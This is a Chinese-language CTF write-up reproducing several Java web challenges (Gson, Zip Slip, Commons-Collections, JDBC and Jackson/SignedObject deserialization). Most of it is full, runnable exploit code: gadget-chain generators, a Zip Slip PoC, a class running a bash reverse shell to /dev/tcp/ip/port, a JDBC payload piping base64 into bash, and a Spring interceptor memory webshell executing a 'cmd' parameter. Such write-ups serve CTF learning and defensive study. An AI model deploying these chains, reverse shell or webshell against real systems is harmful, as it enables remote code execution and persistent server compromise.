java题目复现 1

手头屯了不少之前的比赛题目,慢慢全部解决掉,一堆题目

StrangePort

做了一会 发现是N1CTF 2023 StrangePort

上来看看源码 存在问题的地方只有这里

image-20240402192719904

感觉应该是gson反序列化一类的漏洞 之前没接触过

Gson 反序列化

gson是谷歌开发的一个java库 提供了类似fastjson的 将字符串转换为对象,对象转换为字符串的功能

1
2
3
4
5
6
7
8
9
10
public class gson {
public static void main(String[] args) throws ClassNotFoundException {
String Json="eyJuYW1lIjoidXNlciIsImFnZSI6IjIwIn0=";
String person="org.example.gson.person";
Gson gson = new Gson();
person test = (person)gson.fromJson(new String(Base64.getDecoder().decode(Json), StandardCharsets.UTF_8), Class.forName(person));
System.out.println(test.getName());
}
}

假设我们有这样的person类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package org.example.gson;

public class person {
public String name = "john";
public String age = "11";

public String toString() {
return "Person{name='" + this.name + "', age='" + this.age + "'}";
}

public person(String name, String age) {
this.name = name;
this.age = age;
// System.out.println("constructor");
}
public person() {
System.out.println("constructor");
}

public String getName() {
return this.name;
}

public void setName(String name) {
this.name = name;
}

public String getAge() {
return this.age;
}

public void setAge(String age) {
this.age = age;
}
}

运行之后可以看到

image-20240403171607876

触发了相关的无参构造

gson恢复对象的过程如下

1
2
3
4
5
获取目标类的所有字段
解析 JSON 字符串,匹配字段
字段匹配成功,反射设置值
字段匹配失败,忽略该属性
反序列化完成,返回类实例

gson 在反序列化时会获取目标类的默认无参数构造函数,通过该函数实例化类

如果我们实例化的类里面存在恶意命令 就可以触发命令执行 (显然几乎不可能)

image-20240403172639656

如果后面这个person和这个Json均可以控制 且存在相关的恶意类的时候 是可以执行的

PrintServiceLookup rce

JDK 中 PrintServiceLookup 接口用于提供打印服务的注册查找功能

可以控制反序列化名字的情况下 可以

1
{"lpcAllCom":["touch /tmp/123","touch /tmp/123"]}

调用栈

1
2
3
4
5
6
execCmd:872, PrintServiceLookupProvider (sun.print)
getDefaultPrinterNameBSD:747, PrintServiceLookupProvider (sun.print)
getDefaultPrintService:661, PrintServiceLookupProvider (sun.print)
refreshServices:278, PrintServiceLookupProvider (sun.print)
run:945, PrintServiceLookupProvider$PrinterChangeListener (sun.print)
run:829, Thread (java.lang)

只要是实现了PrintServiceLookup都可以rce

[未知]123.jar

拖进去反编译一下

注意到存在

image-20240404144403459

这里存在反序列化点,不过他存在过滤和鉴权

1
2
3
4
5
@Bean
public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
((HttpSecurity)((FormLoginConfigurer)((FormLoginConfigurer)((HttpSecurity)((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)http.authorizeRequests().antMatchers(new String[]{"/"})).permitAll().antMatchers(new String[]{"/admin/**"})).authenticated().and()).formLogin().loginProcessingUrl("/login")).permitAll()).and()).csrf().disable();
return (SecurityFilterChain)http.build();
}

这里限制了 如果不是admin就无法直接访问后面的一系列路由 需要我们先用admin

注意到

image-20240404145103032

这里开启了Spring boot actuator端点 可以直接下载headdump获取账号密码

存在相关过滤

image-20240404145934326

这里存在一些过滤

注意到依赖里面存在着jackson2.x 可以打jackson链子 做了一些过滤

但是可以通过rmiconnect链子打jackson链子 轻松绕过

image-20240404153141150

不过这里那么多东西 肯定不是叫我那么打的

zipfile文件覆盖

注意到jar中存在这个一个简单的文件上传 主要是zip压缩包

image-20240404160013970

提供了解压的方法

image-20240404160101762

注意到通过getname直接获取了文件的名字 然后加载到new file里面

这里的name都可以控制

Zip Slip是一种在压缩包中特制(../../../evil.sh)的解压缩文件替换漏洞,包括多种解压缩如tar、jar、war、cpio、apk、rar、7z和zip等。

后端使用解压类直接将压缩包当中的节点解压出来,可能会通过节点的名字../跳转到上级目录中,从而导致任意目录的文件替换

poc

1
2
3
4
5
6
7
8
9
10
import zipfile

if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("poc.zip")
zipFile.write("E:/压缩文件", "../../../压缩名字", zipfile.ZIP_DEFLATED)
zipFile.close()
except IOError as e:
raise e

可以通过这个 将任意的文件通过unzip解压到指定位置

我们可以写一个恶意类 重写readobject方法 然后上传 unzip加载恶意类之后完成rce

1
2
3
4
5
6
7
8
9
10
11
12
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class shell implements Serializable {
private void readObject(ObjectInputStream objectInputStream) throws IOException, ClassNotFoundException {
objectInputStream.defaultReadObject();
Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/ip/port 0>&1"});

}
}

上传位置再 /usr/java/jdk-8/jre/lib/shell.class下

[未知] ezjava

直接提供了一个反序列化的接口

image-20240404165119221

注意到加上了很多过滤

image-20240404165143391

反序列化链子的终点主要就是 构造任意方法执行和加载任意字节码

主要的载荷也就是 TemplatesImpl,ProcessBuilder一类 这里全部都过滤了

这里应该要二次反序列化了

显然 这里直接打jrmp 是肯定可以的

由于这里只过滤了一些最终的命令执行手段 我们可以使用invoketransfrom调用connect方法 完成二次反序列化

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
package org.example.twice.RMIconnector;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class cc_RMIconnect {
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}

public static HashMap getObject() throws Exception{
Transformer[] transformers = new Transformer[]{
new org.apache.commons.collections.functors.ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new org.apache.commons.collections.functors.ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazymap.remove("aaa");
Class lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);
return map2;
}

public static void main(String[] args) throws Exception {
ByteArrayOutputStream tser = new ByteArrayOutputStream();
ObjectOutputStream toser = new ObjectOutputStream(tser);
toser.writeObject(getObject());
toser.close();
//序列化内层的payload
String exp = Base64.getEncoder().encodeToString(tser.toByteArray());

JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/" + exp);
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
//储存在rmiConnector的rmiConnection中
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);


HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector);

HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "test");
lazyMap.remove(rmiConnector);
//构造了一个lazymap的任意方法构造,调用connect
setFieldValue(lazyMap, "factory", invokerTransformer);
System.out.println(writeStringToFile(serializeAndEncode(expMap)));

}
public static String serializeAndEncode(Object obj) throws Exception {
try (java.io.ByteArrayOutputStream byteArrayOutputStream = new java.io.ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream)) {
objectOutputStream.writeObject(obj);
objectOutputStream.close();
byte[] serializedBytes = byteArrayOutputStream.toByteArray();
return Base64.getEncoder().encodeToString(serializedBytes);
} catch (Exception e) {
e.printStackTrace();
throw e;
}
}
public static String writeStringToFile(String content) {
try {
File tempFile = File.createTempFile("tempFile", ".txt");
String filePath = tempFile.getAbsolutePath();
try (PrintWriter writer = new PrintWriter(new FileWriter(filePath))) {
writer.println(content);
}
return filePath;
} catch (IOException e) {
e.printStackTrace();
return null;
}
}
}

image-20240404194133988

题目给出的问题依赖还是很多的 链子的后半部分可以打很多东西 包括jackson的链子 或者cb链

A-Piece-Of-Java

来自羊城杯2020 的一道题目 nss上面还有环境

主体没啥好说的 一个简单的登录 跳转

注意到

/hello会把cookies作为序列化数据反序列化

image-20240408185122243

设置了黑名单 只允许 自己写的那个成员类和java.lang下的类反序列化

1
2
<regexp>gdufs\..*</regexp>
<regexp>java\.lang\..*</regexp>

这个waf不要太硬 完全过不去 只能在当前的目录下找机会

注意到存在connect方法

1
2
3
4
5
6
7
8
9
10
private void connect() {
String url = "jdbc:mysql://" + this.host + ":" + this.port + "/jdbc?user=" + this.username + "&password=" + this.password + "&connectTimeout=3000&socketTimeout=6000";

try {
this.connection = DriverManager.getConnection(url);
} catch (Exception var3) {
var3.printStackTrace();
}

}

能够直接控制host和port 可以打jdbc反序列化

checkAllInfo方法调用了他

注意到

image-20240408211225004

这里如果给反序列化对象挂一个代理 就能触发我们的connect方法

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import gdufs.challenge.web.invocation.InfoInvocationHandler;
import gdufs.challenge.web.model.DatabaseInfo;
import gdufs.challenge.web.model.Info;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.util.Base64;

public class exp {

public static byte[] serialize(Object o) throws Exception{
try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
ObjectOutputStream oout = new ObjectOutputStream(baout)){
oout.writeObject(o);
return baout.toByteArray();
}
}

public static void main(String[] args) throws Exception {

DatabaseInfo databaseInfo = new DatabaseInfo();
databaseInfo.setHost("ip");
databaseInfo.setPort("port");
databaseInfo.setUsername("yso_CommonsCollections6_bash -c {echo,base64_shell}|{base64,-d}|{bash,-i}");
databaseInfo.setPassword("yso_CommonsCollections6_bash -c {echo,base64_shell}|{base64,-d}|{bash,-i}&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true");
InfoInvocationHandler handler = new InfoInvocationHandler(databaseInfo);
Info proxinfo = (Info) Proxy.newProxyInstance(Info.class.getClassLoader(), new Class[] {Info.class}, handler);
byte[] bytes = serialize(proxinfo);
byte[] payload = Base64.getEncoder().encode(bytes);
System.out.print(new String(payload));

使用evil_mysql那个工具挂一下

image-20240408214451554

成功弹到shell

image-20240408214603626

ezspring

ssrf in java

image-20240410195402895

传入的url参数会被解析一次 然后访问

这里存在ssrf 虽然限制了url 但是依旧可以访问本机的数据 猜测是要探内网

java中可能产生ssrf的地方还是很多的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/* 第一种情况
* Request类
*/
Request.Get(url).execute()

/* 第二种情况
* URL类的openStream
*/
URL u;
int length;
byte[] bytes = new byte[1024];
u = new URL(url);
inputStream = u.openStream();

/* 第三种情况
* HttpClient
*/
String url = "http://127.0.0.1";
CloseableHttpClient client = HttpClients.createDefault();
HttpGet httpGet = new HttpGet(url);
HttpResponse httpResponse;
try {
// 该行代码发起网络请求
httpResponse = client.execute(httpGet);

/* 第四种情况
* URLConnection和HttpURLConnection
*/
URLConnection urlConnection = url.openConnection();
HttpURLConnection urlConnection = url.openConnection();

[2023浙江省省赛]sec0bj

最后一题了 又回到了这里

在/user/readObj存在反序列化点

image-20240410204108402

传递参数可以直接反序列化 注意到存在一些过滤

1
private static final String[] blackList = new String[]{"AbstractTranslet", "Templates", "TemplatesImpl", "javax.management", "swing", "awt", "fastjson"};

过滤了链子的终点 可以考虑直接打rmi二次反序列化 可惜环境不出网

只能考虑二次反序列化

这里可以打SignedObject二次反序列化

在SignedObject的getObject参数中 存在

1
2
3
4
5
6
7
8
9
10
11
public Object getObject()
throws IOException, ClassNotFoundException
{
// creating a stream pipe-line, from b to a
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}

这里的加密方法和加密密钥我们都是可以控制的 关键在于触发这个getobject方法

Jackson它是基于Bean属性访问机制的反序列化,它在反序列化的时候会调用BeanSerializer恢复Bean从而调用getter方法进行还原。

基于这点 可以触发BaseJsonNode#toString()方法去获取 (POJONode本身并不包含tostring方法 通过从父类手上获取)

一些进行基于类似操作的反序列化

1
2
3
4
5
6
- SnakeYAML
- jYAML
- YamlBeans
- Jackson
- Castor
- Java XMLDecode

所以现在链子就是

1
[]->BaseJsonNode#toString()->signobject#getObject->payload

然而前面的启示点遭到了限制 需要在黑名单之外寻找一个 触发tostring方法的类

之前在rome链子里面 我们可以通过调用bean的tostring方法 执行任意getter方法 如

badAttributeValueExpException_signedobject链子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
package org.example.payload_test;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

import static org.example.fastjson.TemplatesImpl.TemplatesImpl.getTemplates;
import static org.example.twice.RMIconnector.cc_RMIconnect.setFieldValue;

public class test {
public static void main(String[] args) throws Exception {
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject((Serializable) payload(), kp.getPrivate(), Signature.getInstance("DSA"));
ToStringBean toStringBean = new ToStringBean(SignedObject.class,signedObject);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class Bv = Class.forName("javax.management.BadAttributeValueExpException");
Field val = Bv.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,toStringBean);
serialize(badAttributeValueExpException);
System.out.println(serializeAndEncode(badAttributeValueExpException));
// unserialize("bi1n.ser") ;
}



public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("bi1n.ser"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
public static Object payload() throws Exception {
CtClass ctClass1=ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace=ctClass1.getDeclaredMethod("writeReplace");
ctClass1.removeMethod(writeReplace);
ctClass1.toClass();

;
byte[] code = Files.readAllBytes(Paths.get("D:\\Desktop\\ctf\\src\\main\\java\\org\\example\\CC\\hello.class"));
byte[][] codes = {code};
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes",codes);
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode node = new POJONode(templatesImpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException, "val", node);
HashMap hashMap = new HashMap();
hashMap.put(templatesImpl, badAttributeValueExpException);
return hashMap;
}
public static String serializeAndEncode(Object obj) throws Exception {
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream)) {

// 序列化对象
objectOutputStream.writeObject(obj);
objectOutputStream.close();

// 获取序列化后的字节数组
byte[] serializedBytes = byteArrayOutputStream.toByteArray();

// 将字节数组进行Base64编码
return Base64.getEncoder().encodeToString(serializedBytes);

} catch (Exception e) {
e.printStackTrace();
throw e; // 将异常抛出以便调用者处理
}
}
}

不过这条链子被过滤了 javax.management

这里选择使用 HotSwappableTargetSource

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
package org.example.payload_test;

import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.springframework.aop.target.HotSwappableTargetSource;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

import static org.example.fastjson.TemplatesImpl.TemplatesImpl.getTemplates;
import static org.example.twice.RMIconnector.cc_RMIconnect.setFieldValue;

public class test {
public static void main(String[] args) throws Exception {
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject((Serializable) payload(), kp.getPrivate(), Signature.getInstance("DSA"));
POJONode jsonNodes = new POJONode(signedObject);
HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(jsonNodes);
HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(new XString("1"));
HashMap hashMap = makeMap(hotSwappableTargetSource1, hotSwappableTargetSource2);

serialize(hashMap);
System.out.println(serializeAndEncode(hashMap));
unserialize("bi1n.ser") ;
}



public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("bi1n.ser"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
public static Object payload() throws Exception {
CtClass ctClass1=ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace=ctClass1.getDeclaredMethod("writeReplace");
ctClass1.removeMethod(writeReplace);
ctClass1.toClass();

;
byte[] code = Files.readAllBytes(Paths.get("D:\\Desktop\\ctf\\src\\main\\java\\org\\example\\CC\\hello.class"));
byte[][] codes = {code};
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes",codes);
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);
POJONode node = new POJONode(templatesImpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException, "val", node);
HashMap hashMap = new HashMap();
hashMap.put(templatesImpl, badAttributeValueExpException);
return hashMap;
}
public static String serializeAndEncode(Object obj) throws Exception {
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream)) {

// 序列化对象
objectOutputStream.writeObject(obj);
objectOutputStream.close();

// 获取序列化后的字节数组
byte[] serializedBytes = byteArrayOutputStream.toByteArray();

// 将字节数组进行Base64编码
return Base64.getEncoder().encodeToString(serializedBytes);

} catch (Exception e) {
e.printStackTrace();
throw e; // 将异常抛出以便调用者处理
}
}
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}

}

成功执行命令

image-20240411184510381

这里需要打内存马 随便找一个拿过来用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package org.example.shell;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;


import java.io.InputStream;
import java.util.Scanner;

public class Interceptor1 extends AbstractTranslet implements HandlerInterceptor {
public Interceptor1() throws NoSuchFieldException, IllegalAccessException {
System.out.println("ok");
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
AbstractHandlerMapping abstractHandlerMapping = (AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
java.lang.reflect.Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);

Interceptor1 testfilter = new Interceptor1("123");
adaptedInterceptors.add(testfilter);
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}

public Interceptor1(String test){

}
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}

return true;
}

@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
System.out.println("posthandle");
}

@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
System.out.println("afterhandle");
}
}

image-20240411212609778

终于解决了 最开始看java就腿软 现在总算是能稍微看一点java的题目了 好哦